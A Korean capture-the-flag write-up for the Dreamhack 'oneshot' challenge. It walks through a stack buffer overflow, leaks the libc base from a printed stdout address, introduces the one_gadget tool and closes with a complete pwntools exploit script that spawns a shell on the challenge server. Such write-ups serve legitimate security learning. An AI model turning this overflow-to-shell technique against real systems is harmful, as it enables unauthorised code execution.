dreamhack - oneshot writeup
[dreamhack] basic_exploitation_003 writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(oneshot)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
'flag' 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
msg
변수에 46바이트만큼을 읽어들이고, 이를 출력하는 코드이다.
특이한 점은 stdout
의 주소를 먼저 출력해준다는 점이다. 이 주소를 통해 우리는 ASLR
로 인해 달라지는 libc의 전체 주소를 leak할 수 있다.
gdb
상에서 보면 msg
는 [rbp-0x20]
에 있으므로 리턴주소에서 0x20 + 0x8 (sfp)
해서 40바이트 떨어져있고, 리턴주소는 6바이트만 덮어주면 되므로 딱 46바이트만 덮어서 BOF가 가능해야한다.
단, 전제 조건이 있는데
조건1. 위 코드에서 볼 수 있는 것처럼 check
변수가 [rbp-0x8]
에 존재하여 이게 0보다 크면 안된다는 것이고
조건2. 리턴주소에는 하나의 주소만이 들어갈 수 있다는 것이다.
2번째 조건 때문에 고민을 많이 했었다. leak한 stdout
을 통해 순차적으로 libc_base, system, binsh를 찾아서 Return to Libc
기법으로 시도하려했으나 6바이트만 덮을 수 있다는 맹점이 있었다. 이 기법을 활용하려면 0x20 (msg + check) + 0x8 (sfp) + 0x8 (pop_rdi_ret) + 0x8 (binsh) + 0x8 (system)
까지 해서 64바이트가 필요하다….
그래서 한참을 새로운 테크닉이 있는지 찾으면서 공부하다가 one_gadget
이라는 것을 알게되었다.
one_gadget
이란, execve("/bin/sh")
또는 system("/bin/sh")
를 포함하는 gadget
으로, 특징은 해당 gadget
이 우리가 필요한 모든 것을 포함하고 있기 때문에 RTL 기법 등을 활용하지않고 주소 하나만 가지고 exploit이 가능하다는 것이다.
이를 활용하려면 아래와 같이 설치가 필요하다.
sudo apt install ruby
sudo gem install one_gadget
사용법은 아래와 같이 해당 바이너리에 사용된 libc 파일에서 찾으면된다.
one_gadget libc.so.6
실제로 위 명령어를 실행해보면 아래와 같이 결과를 볼 수 있다.
총 4개의 gadget
이 존재하는 것을 볼 수 있는데, 첫번째 0x
주소는 해당 gadget
의 libc_base에서의 offset, 그 뒤는 명령어이며, constraints
는 각 gadget
을 실행하기위한 제한 조건이다. 이 제한 조건이 맞아야 실제로 실행이 된다.
다행스럽게도 제한조건들이 어렵지않고, 어차피 4개의 후보밖에 존재하지 않으므로 첫번째부터 그냥 시도해보기로했다.
아래 순서로 진행하였다.
1. leak된 stdout 주소를 통해 libc_base 주소를 구함
2. libc_base에서 one_gadget의 offset을 더해 one_gadget의 주소를 구함
3. 위에서 생각한 payload를 구성하여 보내기
신기하달지 다행스럽달지, 첫번째 one_gadget
으로 수행하였을때 바로 해결이 됐다. 단, 서버환경에서만 가능했고 로컬환경에서는 실패했는데 이는 libc 버전이 로컬과 서버환경에서 다르기 때문이다.
아래는 실제 사용한 exploit이다.
from pwn import *
#p = process("./oneshot")
# Failed in local process because of env diff
p = remote("host3.dreamhack.games", 19634)
e = ELF("./oneshot")
libc = ELF("libc.so.6")
stdout_offset = libc.symbols['_IO_2_1_stdout_']
# readelf -s libc.so.6 |grep stdout 으로 구해도됨
# Init
p.recvuntil("stdout: ")
stdout_addr = p.recv(1024).decode().split("\n")[0]
stdout_addr = int(stdout_addr, 16)
libc_base = stdout_addr - stdout_offset
# Get one_gadget by using "one_gadget libc.so.6"
one_gadget = libc_base + 0x45216
print(hex(stdout_addr))
print(hex(libc_base))
print(hex(one_gadget))
# payload = 24 bytes dummy (msg) + "\x00" * 8(check) + dummy 8 bytes (sfp) + one_gadget
payload = b'a' * 24
payload += b'\x00' * 8
payload += b'b' * 8
payload += p64(one_gadget)
p.send(payload)
p.interactive()
해결~